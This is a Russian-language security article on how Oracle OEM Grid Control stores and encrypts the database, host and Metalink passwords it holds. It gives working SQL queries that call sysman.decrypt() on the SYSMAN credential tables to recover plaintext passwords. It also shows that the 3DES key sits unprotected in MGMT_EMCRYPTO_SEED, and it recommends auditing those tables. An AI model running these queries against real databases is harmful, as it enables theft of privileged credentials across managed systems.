Шифрование паролей в СУБД Oracle

       

Пароли и OEM Grid Control


OEM Grid Control - основное средство, предлагаемое корпорацией для мониторинга и управления базами данных Oracle. Этот инструмент способен мониторить и управлять не только БД, но и OAS, хосты и сети между всем этим, способен подключаться к металинку за новым ПО. OEM Grid Control (OEMGC) хранит

  • пароли к базам данных (системные пользователи, наделенные наиболее сильными привилегиями),
  • пароли к хостам (чтобы подключаться, когда БД не стартована)
  • логин и пароль на металинк.

Злоумышленник, получивший доступ к этому средству, автоматически получит информацию и средство управления всеми БД, листенерами, OAS'ами, хостами и доступом на металинк. Таким образом, OEM Grid Control - один из наиболее интересных для злоумышленника участков и наиболее сильная болевая точка ИС на основе Oracle.

OEMGC'у соответствует схема SYSMAN. Пароли хранятся в таблицах

  • MGMT_CREDENTIALS2,
  • MGMT_ARU_CREDENTIALS (металинк)
  • MGMT_VIEW_USER_CREDENTIALS.

Вообще-то, таблиц больше, чем три:

select object_name,object_type from dba_objects where object_name like '%CREDENTIAL%' and owner = 'SYSMAN'

OBJECT_NAME OBJECT_TYPE ----------------------------------- ------------ EM_CREDENTIAL PACKAGE MGMT_CREDENTIAL PACKAGE MGMT_ARU_CREDENTIALS TABLE MGMT_COLLECTION_CREDENTIALS TABLE MGMT_CONTAINER_CREDENTIALS TABLE MGMT_CREDENTIALS TABLE MGMT_CREDENTIALS2 TABLE MGMT_CREDENTIAL_SETS TABLE MGMT_CREDENTIAL_SET_COLUMNS TABLE MGMT_CREDENTIAL_TYPES TABLE MGMT_CREDENTIAL_TYPE_COLUMNS TABLE MGMT_CREDENTIAL_TYPE_COL_VALS TABLE MGMT_CREDENTIAL_TYPE_REF TABLE MGMT_ENTERPRISE_CREDENTIALS TABLE MGMT_HOST_CREDENTIALS TABLE MGMT_JOB_CREDENTIALS TABLE MGMT_TARGET_CREDENTIALS TABLE MGMT_UPDATE_CREDENTIALS_DATA TABLE MGMT_VIEW_USER_CREDENTIALS TABLE

Любой пользователь с правами DBA имеет доступ к этой информации. Узнать пароли можно так:

  • Логин + пароль для БД, ОС и листенера:

    select credential_set_column, sysman.decrypt(credential_value) from sysman.MGMT_CREDENTIALS2

  • Логин + Пароль на металинк:

    select sysman.decrypt(aru_username),sysman.decrypt(aru_password) from sysman.MGMT_ARU_CREDENTIALS


  • 15-байтовое случайное число - пароль пользователя MGMT_VIEW, который используется для работы OEMGC, учетная запись создается как expired & locked: select view_username,sysman.decrypt(view_password) from sysman.MGMT_VIEW_USER_CREDENTIALS


  • Шифрование/расшифрование этих паролей производится командами sysman.encrypt() и sysman.decrypt(). В БД эти функции присутствуют в виде wrap-кода, но любой желающий может восстановить их текст с помощью трассировки. Рассмотрим их подробнее:

    FUNCTION ENCRYPT( PLAIN_TEXT IN VARCHAR2 ) RETURN VARCHAR2 IS CIPHER_TEXT RAW( 32767 ); BEGIN CIPHER_TEXT := DBMS_CRYPTO.ENCRYPT( SRC=>UTL_I18N.STRING_TO_RAW( PLAIN_TEXT, 'AL32UTF8' ), TYP=>DBMS_CRYPTO.ENCRYPT_3DES + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5, KEY=>GETEMKEY() ); RETURN RAWTOHEX( CIPHER_TEXT ); END;

    FUNCTION DECRYPT( CIPHER_TEXT IN VARCHAR2 ) RETURN VARCHAR2 IS RAW_TEXT RAW( 32767 ); BEGIN RAW_TEXT := DBMS_CRYPTO.DECRYPT( SRC=>HEXTORAW( CIPHER_TEXT ), TYP=>DBMS_CRYPTO.ENCRYPT_3DES + DBMS_CRYPTO.CHAIN_CBC + DBMS_CRYPTO.PAD_PKCS5, KEY=>GETEMKEY() ); RETURN UTL_I18N.RAW_TO_CHAR( RAW_TEXT, 'AL32UTF8' ); END;

    Функции sysman.encrypt() и sysman.decrypt() используют алгоритм 3DES в режиме СВС с дополнением строки до требуемой длины блока по методу PAD_PKCS5.

    Принципиальным моментом в encrypt/decrypt является функция вызова ключа GETEMKEY(). Выглядит она примерно так:

    FUNCTION GETEMKEY RETURN RAW IS DES_KEY RAW( 64 ) := NULL; BEGIN SELECT SEED INTO DES_KEY FROM MGMT_EMCRYPTO_SEED WHERE ROWNUM = 1; RETURN ( DES_KEY ); END;

    Так какой это ключ? Вот какой:

    SELECT SEED FROM MGMT_EMCRYPTO_SEED WHERE ROWNUM = 1;

    Таблица MGMT_EMCRYPTO_SEED состоит из одного столбца и одной строки и содержит, по-видимому, случайное для каждой БД число. Таким образом, ключ является константой.

    SQL >desc sysman.MGMT_EMCRYPTO_SEED Name Null? Type ----------------------------------------- -------- ------------ SEED RAW(64)

    SQL >select * from sysman.MGMT_EMCRYPTO_SEED; SEED ---------------------------------------------------------------- 1FCFB6FBD7E14B384C3EDB7B8694EA891FCFB6FBD7E14B384C3EDB7B8694EA89 1 row selected.

    Выводы:

  • ключ хранится в БД в открытом виде в таблице MGMT_EMCRYPTO_SEED.
  • для шифрования используются общедоступные функции encrypt/decrypt.
  • кто имеет доступ к словарю БД, тот имеет большой доступ ко всему остальному.
  • на три таблицы можно установить аудит.



Содержание раздела